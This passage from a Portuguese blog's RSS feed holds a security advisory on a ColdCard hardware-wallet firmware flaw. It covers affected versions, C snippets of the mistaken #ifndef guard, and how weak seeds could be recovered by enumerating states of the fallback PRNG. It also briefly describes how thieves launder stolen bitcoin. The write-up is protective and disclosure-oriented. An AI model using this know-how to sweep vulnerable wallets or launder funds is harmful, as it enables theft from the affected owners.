    <a href="#por-que-isso-importa-agora" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O fato de os bitcoins ainda estarem nos endereços de consolidação significa que a janela de recuperação ainda está aberta, em teoria. Autoridades e investigadores privados podem monitorar esses endereços, pedir congelamento em exchanges e pressionar provedores de serviços blockchain. Se o atacante enviar qualquer satoshi para um mixer conhecido, o alerta dispara.</p>
<p>Mas essa janela se fecha assim que os fundos entrarem em um pipeline de anonimização. Depois de um CoinJoin bem feito, de uma troca por Monero e de uma rede de peel chains, a pergunta deixa de ser &ldquo;onde está o dinheiro?&rdquo; e passa a ser &ldquo;quem conseguimos prender?&rdquo;. Recuperar o ativo se torna tecnicamente inviável para a maioria das vítimas.</p>
<p>Ou seja, o atacante já venceu a primeira batalha — encontrar e roubar as chaves. A segunda batalha, de sair com o dinheiro de forma anônima, é a que normalmente separa ladrões de grandes carteiras de ladrões que acabam presos.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você ainda tem fundos em uma seed gerada por firmware ColdCard vulnerável, o risco não é teórico. A blockchain já mostra centenas de endereços sendo esvaziados por alguém que reproduziu o RNG defeituoso.</p>
<p>A ColdCard não guarda seus bitcoins. Ela guardava a chave. A chave nasceu fraca. Quem tem uma cópia da mesma chave — obtida enumerando estados de um PRNG — pode assinar transações do seu lado, sem nunca ter tocado no aparelho.</p>
<p>A única defesa é mover os fundos para uma seed nova, gerada por firmware corrigido ou, melhor ainda, por um processo que combine fontes independentes de entropia (dados casino-grade, TRNG de outro fabricante, host offline). E testar a restauração antes de enviar valor relevante.</p>
<p>Não confie em empresa, certificação, influencer ou artigo. Nem neste aqui. Verifique.</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>seguranca</category><category>hardware</category></item><item><title>URGENTE - Se você guarda Bitcoins em ColdCard: MOVA TUDO</title><link>https://akitaonrails.github.io/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/</guid><pubDate>Fri, 31 Jul 2026 23:00:00 -0300</pubDate><description>&lt;p&gt;Eu uso ColdCard. Ou melhor, usava aquela ColdCard antiga pra guardar parte dos meus bitcoins. Já movi tudo que estava nela pra uma wallet nova. Se sua seed foi gerada numa ColdCard desde março de 2021 e você não consegue provar que veio de firmware seguro ou de entropia externa suficiente, pare de ler, faça o inventário e se prepare pra mover também.&lt;/p&gt;
&lt;p&gt;Não estou exagerando pra fazer título caça-clique. Em 29 de julho apareceram transações varrendo wallets de usuários. Um dos endereços de consolidação &lt;a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"&gt;recebeu 594,47723261 BTC em 501 outputs&lt;/a&gt;. Isso é dado público na blockchain, não screenshot de Telegram. A edição 416 do &lt;a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener"&gt;Bitcoin Optech&lt;/a&gt;, publicada enquanto o caso ainda se desenrolava, já estimava perdas acima de &lt;strong&gt;1.000 BTC&lt;/strong&gt;.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Eu uso ColdCard. Ou melhor, usava aquela ColdCard antiga pra guardar parte dos meus bitcoins. Já movi tudo que estava nela pra uma wallet nova. Se sua seed foi gerada numa ColdCard desde março de 2021 e você não consegue provar que veio de firmware seguro ou de entropia externa suficiente, pare de ler, faça o inventário e se prepare pra mover também.</p>
<p>Não estou exagerando pra fazer título caça-clique. Em 29 de julho apareceram transações varrendo wallets de usuários. Um dos endereços de consolidação <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">recebeu 594,47723261 BTC em 501 outputs</a>. Isso é dado público na blockchain, não screenshot de Telegram. A edição 416 do <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">Bitcoin Optech</a>, publicada enquanto o caso ainda se desenrolava, já estimava perdas acima de <strong>1.000 BTC</strong>.</p>
<p>O número exato ainda vai mudar. O cluster de 594 BTC é diretamente observável; atribuir cada input à mesma vulnerabilidade e fechar o total global exige análise adicional. Mas a combinação de relatos de vítimas, padrão do sweep, reprodução do bug e admissão da própria Coinkite é forte o bastante. Esperar um relatório forense bonito enquanto uma seed vulnerável continua recebendo fundos é uma péssima estratégia.</p>
<blockquote>
  <p>Também não entre em pânico e digite suas 24 palavras no primeiro site que promete &ldquo;verificar ColdCard&rdquo;. Isso é a outra forma, bem mais fácil, de perder tudo. Seed nunca entra em website, chat, extensão de browser ou computador online. Primeiro entenda se foi afetado. Depois migre com calma, conferindo endereço na tela de um signer confiável.</p>

</blockquote>
<h2>Quem precisa agir agora<span class="hx:absolute hx:-mt-20" id="quem-precisa-agir-agora"></span>
    <a href="#quem-precisa-agir-agora" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A vulnerabilidade está na <strong>geração da seed</strong>. O que importa é o modelo e o firmware usados no dia em que aquelas palavras foram criadas, não o firmware instalado hoje nem onde você importou a seed depois.</p>
<blockquote>
  <p><strong>Na prática: se você tem qualquer ColdCard, mova os fundos pra uma wallet derivada de uma seed completamente nova. Melhor pecar pelo excesso de cuidado.</strong> As faixas abaixo dizem onde o bug já foi confirmado; não são motivo pra apostar a poupança da sua vida na hipótese de que todo o resto está perfeito. Atualizar o aparelho não conserta a seed antiga.</p>

</blockquote>
<p>Segundo o <a href="https://blog.coinkite.com/coldcard-mk3-seed-generation-warning/"target="_blank" rel="noopener">advisory da Coinkite</a> e a <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">análise independente da Block</a>, trate como comprometida qualquer seed gerada nestas condições:</p>
<table>
  <thead>
      <tr>
          <th>Aparelho</th>
          <th>Firmware que gerou a seed</th>
          <th>Situação</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2</td>
          <td>4.0.0 até 4.1.9, segundo a Block</td>
          <td>Vulnerável. Migre a seed e aposente o aparelho como gerador.</td>
      </tr>
      <tr>
          <td>Mk3</td>
          <td>4.0.1 até 4.1.9 no advisory da Coinkite; a Block inclui 4.0.0</td>
          <td>Vulnerável. Instale 4.2.0 ou superior antes de gerar outra seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Standard</td>
          <td>Anterior a 5.6.0</td>
          <td>Afetado. Atualize antes de gerar outra seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Edge</td>
          <td>Anterior a 6.6.0X</td>
          <td>Afetado. Edge é outra linha de release.</td>
      </tr>
      <tr>
          <td>Q Standard</td>
          <td>Anterior a 1.5.0Q</td>
          <td>Afetado.</td>
      </tr>
      <tr>
          <td>Q Edge</td>
          <td>Anterior a 6.6.0QX</td>
          <td>Afetado.</td>
      </tr>
  </tbody>
</table>
<p>A Block inclui Mk2 com firmware 4.x na mesma regressão do Mk3 e começa a faixa vulnerável dos dois no 4.0.0. A Coinkite concentrou o advisory no Mk3, a partir do 4.0.1, e nos modelos atuais. Eu trataria toda a linha 4.x até 4.1.9 como comprometida nos dois. Se você tem Mk2, não use a ausência dele no título do comunicado como conforto.</p>
<p>Há uma exceção importante: quem acrescentou pelo menos <strong>50 jogadas justas, independentes e privadas de um dado</strong> durante a criação original preservou, em tese, no mínimo 128 bits vindos de fora. A própria Coinkite diz que essas seeds não estão em risco por <strong>este bug isoladamente</strong>. Se você não lembra exatamente quantas jogadas fez, qual fluxo usou ou se aqueles resultados continuaram privados, assuma que não fez.</p>
<p>Seed importada de outro gerador também não nasceu desse RNG defeituoso. Ela pode ter outros problemas, claro, mas não este. E atualizar firmware agora não volta no tempo pra reparar palavra nenhuma. Você precisa criar uma seed nova e transferir os UTXOs pra endereços derivados dela.</p>
<blockquote>
  <p><strong>Restaurar as mesmas 24 palavras numa Trezor, Ledger, SeedSigner ou qualquer outro aparelho NÃO é uma migração. Você continua em perigo.</strong> O hardware mudou; a raiz e todo o universo de private keys derivadas continuam os mesmos. Outro derivation path pode até mostrar endereços diferentes, mas não acrescenta entropia. Se a ColdCard gerou aquela wallet com o RNG fraco, importar a seed em outro signer apenas ensina o aparelho novo a reproduzir as mesmas chaves vulneráveis. Crie uma wallet completamente nova, com entropia nova, e faça uma transação on-chain movendo os fundos da wallet antiga pra endereços da nova.</p>

</blockquote>
<p>Eu faria isso mesmo tendo uma passphrase forte. A passphrase pode ter colocado uma barreira independente na frente do atacante, mas a própria Coinkite recomenda migrar. Depois de uma falha desta proporção, ficar calculando o mínimo teórico aceitável de risco é economizar no lugar errado.</p>
<h2>O bug: <code>#ifndef</code> não significa &ldquo;se for verdadeiro&rdquo;<span class="hx:absolute hx:-mt-20" id="o-bug-ifndef-não-significa-se-for-verdadeiro"></span>
    <a href="#o-bug-ifndef-n%c3%a3o-significa-se-for-verdadeiro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">post-mortem técnico da Coinkite</a> é uma leitura constrangedora.</p>
<p>Em março de 2021, o firmware trocou <code>ckcc.rng_bytes()</code> por <code>ngu.random.bytes()</code> durante a migração pro libNgU e pro <code>libsecp256k1</code> usado pelo Bitcoin Core. A escolha da biblioteca criptográfica era boa. A integração foi desastrosa.</p>
<p>O código de build definia:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define MICROPY_HW_ENABLE_RNG (0)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Só que a guarda no libNgU verificava isto:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#ifndef MICROPY_HW_ENABLE_RNG
</span></span></span><span class="line"><span class="cl"><span class="cp">#error &#34;get a HW TRNG plz&#34;
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>#ifndef</code> pergunta se o símbolo existe, não se o valor dele é diferente de zero. O símbolo existia. O build passou. Na resolução final, <code>rng_get()</code> apontou pro fallback de software do MicroPython, um PRNG determinístico chamado Yasmarang, inicializado com UID do microcontrolador e registradores de tempo. UID identifica chip. Relógio mede tempo. Nenhum dos dois é uma fonte criptográfica de aleatoriedade.</p>
<p>Pior: a implementação correta do TRNG estava dentro do binário. Reviews anteriores olharam pra ela e concluíram que estava tudo certo, mas ninguém verificou o caminho completo entre &ldquo;gerar nova wallet&rdquo; e o símbolo que de fato era chamado no executável. Não havia teste de integração que falhasse quando a seed saísse do gerador errado.</p>
<p>No Mk3, a estimativa preliminar da Coinkite é de cerca de <strong>40 bits de entropia efetiva</strong>, em vez dos 128 bits mínimos esperados. Nos Mk4, Q e Mk5, valores dos secure elements entravam como uma segunda camada, e a empresa estima aproximadamente <strong>72 bits</strong>. A análise da Block é ainda mais dura: apenas 32 bits do material dos secure elements chegavam ao estado do PRNG naquele reseed. Os modelos de ameaça e as estimativas não são idênticos. Nenhum deles chega perto do alvo.</p>
<p>Passar a saída ruim por SHA-256 não cria entropia. Se existem apenas <code>2^40</code> entradas possíveis, no máximo existirão <code>2^40</code> hashes possíveis. Eles ficam bonitos, uniformes e continuam enumeráveis.</p>
<p>Isso ficou no caminho mais importante do produto por mais de cinco anos.</p>
<h2>Como uma reescrita de 120 arquivos chegou aqui<span class="hx:absolute hx:-mt-20" id="como-uma-reescrita-de-120-arquivos-chegou-aqui"></span>
    <a href="#como-uma-reescrita-de-120-arquivos-chegou-aqui" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://x.com/zherbert/status/2082993276324319713"target="_blank" rel="noopener">Zach Herbert publicou uma timeline</a> que vale resumir. Ele é cofundador da Foundation, fabricante da Passport e concorrente da Coinkite, portanto leia a interpretação com esse contexto. As datas e commits, porém, são verificáveis.</p>
<p>Em julho de 2020, a Foundation anunciou que sua primeira Passport aproveitaria o firmware GPLv3 da ColdCard. Dois dias depois, NVK reclamou publicamente do &ldquo;clone&rdquo; e disse que mudaria a licença. Em novembro, a ColdCard adicionou MIT mais Commons Clause, que deixava o código visível mas restringia produtos comerciais derivados. Em janeiro de 2021, a mudança apareceu formalmente no firmware 3.2.1.</p>
<p>No dia 1 de março veio o commit <code>First pass w/ libNgU</code>: 120 arquivos alterados, remoção de bibliotecas derivadas da Trezor sob GPL, troca da stack criptográfica e mudança do código que gerava seeds. Em 17 de março, a versão 4.0.0 anunciou a remoção do último código GPL.</p>
<p>Não dá pra provar quanto da pressa ou do escopo veio da disputa de licença. A própria timeline reconhece outros objetivos legítimos: adotar <code>libsecp256k1</code>, acelerar AES/SHA e permitir builds reproduzíveis. O fato concreto é mais simples: o bug entrou no mesmo commit gigantesco e o produto passou cinco anos sem um teste end-to-end do seu caminho mais crítico.</p>
<p>Isso é incompetência de engenharia. Um hardware wallet pode ter secure element, embalagem lacrada, air gap e site cheio de explicações sobre soberania. Se a função que gera a chave chama o RNG errado e ninguém testa isso por cinco anos, o resto virou cenário.</p>
<h2>Isso foi cisne branco, não cisne negro<span class="hx:absolute hx:-mt-20" id="isso-foi-cisne-branco-não-cisne-negro"></span>
    <a href="#isso-foi-cisne-branco-n%c3%a3o-cisne-negro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Já vi gente chamando o caso de &ldquo;black swan&rdquo;, como se uma conjunção cósmica de eventos imprevisíveis tivesse acertado a Coinkite. Não foi.</p>
<p>O código vulnerável estava visível no repositório desde março de 2021. O commit era enorme, mas não secreto. O fallback determinístico estava num submodule público. A macro definida como zero estava no board config. O <code>#ifndef</code> errado estava na integração. Faltava seguir a chamada de geração da seed até o símbolo resolvido no binário e escrever um teste que provasse de onde vinha a entropia.</p>
<p>Um black swan é raro, surpreendente e só parece óbvio depois. Este era um <strong>white swan</strong>: risco conhecido na categoria mais sensível do produto, com causa observável e consequência previsível. Ninguém sabia o dia exato em que alguém ligaria os pontos e varreria as wallets. A bomba, porém, estava montada e fazendo tic-tac em público por cinco anos.</p>
<p>E a Coinkite ajudou a reduzir o número de pessoas dispostas a desarmá-la.</p>
<p>Em 2021, Marko Bencun, da Shift/BitBox, e Hugo Nguyen, da Nunchuk, <a href="https://blog.bitbox.swiss/en/remote-multisig-theft-attack-on-the-coldcard-hardware-wallet/"target="_blank" rel="noopener">reportaram responsavelmente uma falha crítica de multisig</a>. A Coinkite corrigiu o código, mas as release notes não avisaram que era vulnerabilidade nem comunicaram urgência. O pedido de bounty de Bencun foi ignorado. A empresa só publicou um alerta mais explícito depois que o pesquisador publicou os detalhes.</p>
<p>A <a href="https://coinkite.com/responsible-disclosure"target="_blank" rel="noopener">política atual de responsible disclosure</a> continua deixando valor, elegibilidade e prazo a critério da empresa. Pesquisadores de concorrentes ou laboratórios bem financiados não recebem bounty. O texto ainda solta um &ldquo;we are not here to make it easy for you&rdquo;, como se antagonizar quem audita seu cofre fosse uma demonstração de personalidade.</p>
<p>Zach Herbert também <a href="https://www.zherbert.com/an-open-letter-to-nvk-and-coldcard/"target="_blank" rel="noopener">documentou ataques públicos de NVK</a> contra a Foundation depois que ela usou código GPL da ColdCard: &ldquo;pure clone&rdquo;, &ldquo;leeches&rdquo; e &ldquo;affinity scamming&rdquo;. Herbert é concorrente e tem interesse na disputa, mas os posts e screenshots existem. Minha opinião sobre NVK como CEO ficou péssima. Ele cultivou uma postura hostil justamente com fabricantes e pesquisadores que tinham conhecimento e incentivo técnico pra revisar o produto.</p>
<p>Não preciso afirmar que todo pesquisador abandonou a Coinkite. Basta olhar os incentivos. White hat competente pode passar semanas desmontando firmware. Se a empresa minimiza achado, ignora bounty, trata concorrente como inimigo e reserva pra si a decisão de quando algo merece crédito, esse pesquisador trabalha em outro produto. Código aberto permite auditoria; não obriga ninguém a oferecer auditoria de graça pra quem o trata mal.</p>
<p>Portanto não foi azar de uma chance em um bilhão. Foi profecia autorrealizável. A negligência extrema acumulou risco até alguém explorar. Quando explodiu, não apagou número numa planilha da Coinkite. Levou bitcoins reais que, para algumas vítimas, eram anos de economia ou a poupança de uma vida.</p>
<h2>Não, &ldquo;IA quebrou o Bitcoin&rdquo; coisa nenhuma<span class="hx:absolute hx:-mt-20" id="não-ia-quebrou-o-bitcoin-coisa-nenhuma"></span>
    <a href="#n%c3%a3o-ia-quebrou-o-bitcoin-coisa-nenhuma" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A Coinkite escreveu que, como o firmware era público, &ldquo;temos que assumir&rdquo; que alguém usou IA pra revisar versões antigas e encontrou o bug. Não apresentou evidência. No parágrafo seguinte admite que, semanas antes, usou um dos melhores modelos disponíveis pra revisar o mesmo código e ele não achou nada sério.</p>
<p>Depois, NVK publicou <a href="https://x.com/nvk/status/2083216713693151552"target="_blank" rel="noopener">um pedido de desculpas em nome da Coinkite</a>. Assumiu responsabilidade pelo bug, pediu que todo dono de ColdCard movesse os fundos, reconheceu que firmware novo não conserta seed antiga e disse que a confiança dos usuários terá que ser reconquistada. É o mínimo, mas é importante que tenha dito.</p>
<p>O problema é que ele terminou tentando transformar o desastre numa &ldquo;realidade sóbria do novo paradigma de IA&rdquo;, porque revisão assistida por IA agora encontraria bugs antigos mais rápido que especialistas. Não. Isso não tem porra nenhuma a ver com IA. O bug é básico, estava visível no código havia cinco anos e atingia a função mais importante de uma hardware wallet. NVK teve sorte de demorar tanto.</p>
<p>Não desloque a culpa pra AI-assisted code review pra justificar código porco. IA pode ter ajudado alguém a localizar ou explorar a falha. IA não escreveu aquele <code>#ifndef</code>, não desligou o TRNG, não aprovou o rewrite de 120 arquivos e não passou cinco anos sem um teste end-to-end de geração de seed. Tudo isso foi responsabilidade da Coinkite.</p>
<p>Depois da divulgação, pesquisadores reproduziram a falha com ajuda de modelos de fronteira. Ótimo. Isso mostra que IA acelera auditoria e exploração depois que alguém aponta onde cavar. Não significa que uma IA quebrou ECDSA, <code>secp256k1</code>, SHA-256, BIP39 ou Bitcoin.</p>
<p>O atacante enumerou um espaço de chaves que um fabricante reduziu de pelo menos 128 bits pra algo na casa de 40. É força bruta contra números previsíveis. O protocolo Bitcoin fez exatamente o que deveria: aceitou assinaturas válidas produzidas pelas chaves privadas corretas.</p>
<p>IA não quebrou Bitcoin. A Coinkite deixou uma regressão básica sem teste no coração do firmware por cinco anos. Jogar a culpa na ferramenta que talvez tenha ajudado alguém a ler o código é uma maneira conveniente de mudar de assunto.</p>
<h2>O que uma wallet realmente guarda<span class="hx:absolute hx:-mt-20" id="o-que-uma-wallet-realmente-guarda"></span>
    <a href="#o-que-uma-wallet-realmente-guarda" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bitcoin não fica &ldquo;dentro&rdquo; da ColdCard, da Ledger ou do arquivo do Sparrow. A blockchain contém UTXOs bloqueados por scripts. Sua wallet guarda o material necessário pra encontrar esses UTXOs e produzir assinaturas que satisfazem os scripts.</p>
<p>Na forma mais básica, uma chave privada é um inteiro escolhido dentro do domínio da curva <code>secp256k1</code>. A chave pública é um ponto calculado a partir dela. Esse caminho é fácil de computar pra frente e inviável de reverter com a computação conhecida. Endereços são representações derivadas de chaves públicas e scripts, não cofres onde moedas moram.</p>
<p>Já expliquei essa base com mais calma em <a href="/2019/11/21/akitando-67-entendendo-conceitos-basicos-de-criptografia-parte-1-2/">[Akitando #67] Entendendo Conceitos Básicos de Criptografia - Parte 1</a> e <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">[Akitando #68] Entendendo Conceitos Básicos de Criptografia - Parte 2</a>.</p>
<p>Uma wallet moderna não sorteia uma chave independente pra cada endereço. Ela começa com uma raiz e usa <a href="https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki"target="_blank" rel="noopener">BIP32</a> pra derivar deterministicamente uma árvore de chaves: contas, endereços de recebimento, troco e assim por diante. Backup da raiz recupera a árvore inteira.</p>
<p>O <a href="https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki"target="_blank" rel="noopener">BIP39</a> é a camada que transforma entropia binária em palavras legíveis e depois converte mnemonic mais passphrase numa seed binária de 512 bits usada pelo BIP32. As palavras são uma forma humana de transportar aleatoriedade gerada por computador. A especificação avisa explicitamente que não é um método pra inventar uma frase bonita da própria cabeça.</p>
<h2>Doze ou 24 palavras é a pergunta errada<span class="hx:absolute hx:-mt-20" id="doze-ou-24-palavras-é-a-pergunta-errada"></span>
    <a href="#doze-ou-24-palavras-%c3%a9-a-pergunta-errada" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma mnemonic de 12 palavras codifica 128 bits de entropia mais 4 bits de checksum. Uma de 24 codifica 256 bits mais 8 de checksum. Em condições normais, 128 bits já estão fora do alcance de força bruta.</p>
<p>Mas &ldquo;24 palavras&rdquo; não garante que existiram 256 bits reais na entrada. O firmware vulnerável podia produzir uma sequência perfeitamente válida de 24 palavras, checksum correto e tudo, a partir de um espaço efetivo de aproximadamente 40 bits. O atacante não precisa experimentar todas as combinações de palavras. Ele reproduz os estados plausíveis do RNG defeituoso e compara os endereços derivados.</p>
<p>É por isso que a briga 12 contra 24 fica ao lado do ponto. Comprimento da representação não salva fonte previsível. Um UUID impresso em letras douradas continua previsível se alguém chamou <code>rand()</code> com um timestamp.</p>
<h2>RNG, TRNG e fontes independentes<span class="hx:absolute hx:-mt-20" id="rng-trng-e-fontes-independentes"></span>
    <a href="#rng-trng-e-fontes-independentes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>RNG é o nome genérico do gerador de números aleatórios. Um PRNG pega um estado inicial, a seed, e expande aquilo numa sequência determinística. Um CSPRNG bem construído continua seguro desde que o estado inicial tenha entropia suficiente e o algoritmo não vaze o estado.</p>
<p>TRNG tenta colher aleatoriedade de fenômenos físicos: ruído eletrônico, jitter de oscilador e coisas do tipo. A <a href="https://support.ledger.com/article/4415198323089-zd"target="_blank" rel="noopener">Ledger explica seu processo</a> como um TRNG dentro do Secure Element gerando 256 bits, que o BIP39 traduz nas 24 palavras. A empresa diz que esse gerador é testado por laboratório externo e certificado segundo AIS-31. Isso é bem melhor que timer mais serial number, mas continua sendo uma fonte e uma implementação em que você deposita confiança.</p>
<p>Outros projetos preferem combinar fontes. A <a href="https://trezor.io/guides/trezor-devices/trezor-fundamentals/what-is-entropy-and-how-does-trezor-generate-your-wallet"target="_blank" rel="noopener">Trezor usa entropia do aparelho e do host</a>. A <a href="https://bitbox.swiss/bitbox02/security-features/"target="_blank" rel="noopener">BitBox02 documenta cinco fontes</a>: TRNG do secure chip, TRNG do microcontrolador, valor individual instalado na fábrica, entropia fornecida pelo host e hash do password do aparelho.</p>
<p>A palavra que interessa aqui é <strong>independência</strong>. Dois PRNGs inicializados pelo mesmo relógio não são duas fontes. Dois valores que saem do mesmo secure element também não compram a independência que o diagrama sugere. Fontes independentes, combinadas por uma construção criptográfica correta, fazem o resultado continuar forte mesmo quando algumas falham.</p>
<p>E &ldquo;combinadas corretamente&rdquo; carrega metade da segurança da frase. XOR, hash e extractors têm propriedades específicas. Não invente um mixer próprio em meia hora e coloque patrimônio em cima. Use uma implementação revisada, com test vectors, e verifique que o binário executado realmente chama aquele código. Acho que a razão ficou óbvia.</p>
<h2>Jogar dados não é tão simples<span class="hx:absolute hx:-mt-20" id="jogar-dados-não-é-tão-simples"></span>
    <a href="#jogar-dados-n%c3%a3o-%c3%a9-t%c3%a3o-simples" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Cada jogada de um D6 ideal entrega <code>log2(6)</code>, cerca de 2,585 bits. Por isso aparecem os números <strong>50 jogadas</strong> pra 128 bits e <strong>99 jogadas</strong> pra aproximadamente 256 bits. A <a href="https://coldcard.com/docs/verifying-dice-roll-math/"target="_blank" rel="noopener">documentação da ColdCard mostra a conta e o SHA-256 aplicado à sequência</a>. O <a href="https://github.com/SeedSigner/seedsigner"target="_blank" rel="noopener">SeedSigner</a> usa os mesmos patamares: 50 pra 12 palavras ou 99 pra 24.</p>
<p>Essa conta presume dado justo e jogadas independentes. Um dado promocional de plástico barato pode ter bolhas, faces mal cortadas e centro de massa deslocado. Sua mão também pode repetir movimento, a bandeja pode favorecer uma posição e muita gente &ldquo;rola de novo&rdquo; quando o dado cai perto da borda. Cada decisão humana depois de olhar o resultado introduz viés.</p>
<p>Se eu fosse gerar uma seed manual hoje, usaria <strong>dados de precisão, do tipo usado em cassino</strong>, de mais de um fabricante ou lote. A própria <a href="https://blog.bitbox.swiss/en/roll-the-dice-generate-your-own-seed/"target="_blank" rel="noopener">BitBox recomenda cinco dados casino-grade</a> no procedimento manual. Eu definiria antes a ordem de leitura, usaria uma bandeja que permita quicar e aceitaria toda jogada válida segundo uma regra escrita antes de começar. Nada de rerrolar porque &ldquo;não misturou direito&rdquo;.</p>
<p>Mesmo assim, eu não confiaria só nos dados. Misturaria fontes independentes: mais de um conjunto de dados, coin flips, entropia do host offline e um TRNG de hardware, quando o aparelho suporta. Fazer centenas de jogadas é barato. O cuidado é entregar tudo a um mecanismo auditado que faça a combinação criptográfica. Somar números, escolher as palavras &ldquo;mais aleatórias&rdquo; ou concatenar pedaços de mnemonics por conta própria é receita pra perder fundos.</p>
<p>Veja o que o seu aparelho realmente implementa. No setup novo documentado pela Ledger, o TRNG do Secure Element gera a entropia. No modo de restore, <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">as palavras precisam reconstruir exatamente as mesmas chaves</a>. O TRNG não pode jogar entropia secreta em cima da mnemonic importada, porque isso criaria outra wallet e destruiria a função de backup. Portanto, restaurar uma seed feita com dados transfere pro aparelho a custódia e a assinatura, mas não melhora a aleatoriedade original.</p>
<p>Com hardware wallet comercial, eu escolheria um destes caminhos: gerar uma raiz nova no fluxo oficial de um aparelho atualizado que documenta como combina fontes independentes; ou gerar BIP39 fora dele, num processo auditável e completamente offline, e inserir as palavras somente pela tela e pelos botões do signer. Seed criada em MetaMask, website ou notebook conectado e depois restaurada numa Ledger continua sendo hot seed. A própria Ledger resume bem: <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">move, don&rsquo;t merge</a>.</p>
<p>O BTC D00M Guy tem <a href="https://btcdoomguy.substack.com/p/como-gerar-sua-seed-e-fazer-o-backup"target="_blank" rel="noopener">um tutorial visual em português sobre BIP39, dados e teste de restauração</a>. É uma boa introdução pra enxergar o processo, mas eu não copiaria literalmente o trecho do celular velho em modo avião pra guardar patrimônio sério. Modo avião não prova que o aparelho estava limpo, não remove fisicamente os rádios e formatar flash depois não me dá uma garantia verificável de apagamento. Pra aprender e ensaiar, tudo bem. Pra gerar a seed da poupança da vida, prefiro hardware sem rádio, sistema efêmero verificado ou signer dedicado.</p>
<blockquote>
  <p>As jogadas viram segredo assim que você decide usá-las. Não fotografe, não dite em voz alta, não guarde em nota do celular e não digite num site. A <a href="https://github.com/SeedSigner/seedsigner/blob/dev/docs/dice_verification.md"target="_blank" rel="noopener">documentação do SeedSigner</a> recomenda que qualquer verificação de uma seed real aconteça num sistema efêmero como Tails, completamente offline, abandonado depois do teste.</p>
<p>Mais entropia também não corrige processo ruim. Cem jogadas filmadas por uma câmera conectada à nuvem valem zero contra quem tem o vídeo.</p>

</blockquote>
<h2>Passphrase: outra wallet, não outra senha<span class="hx:absolute hx:-mt-20" id="passphrase-outra-wallet-não-outra-senha"></span>
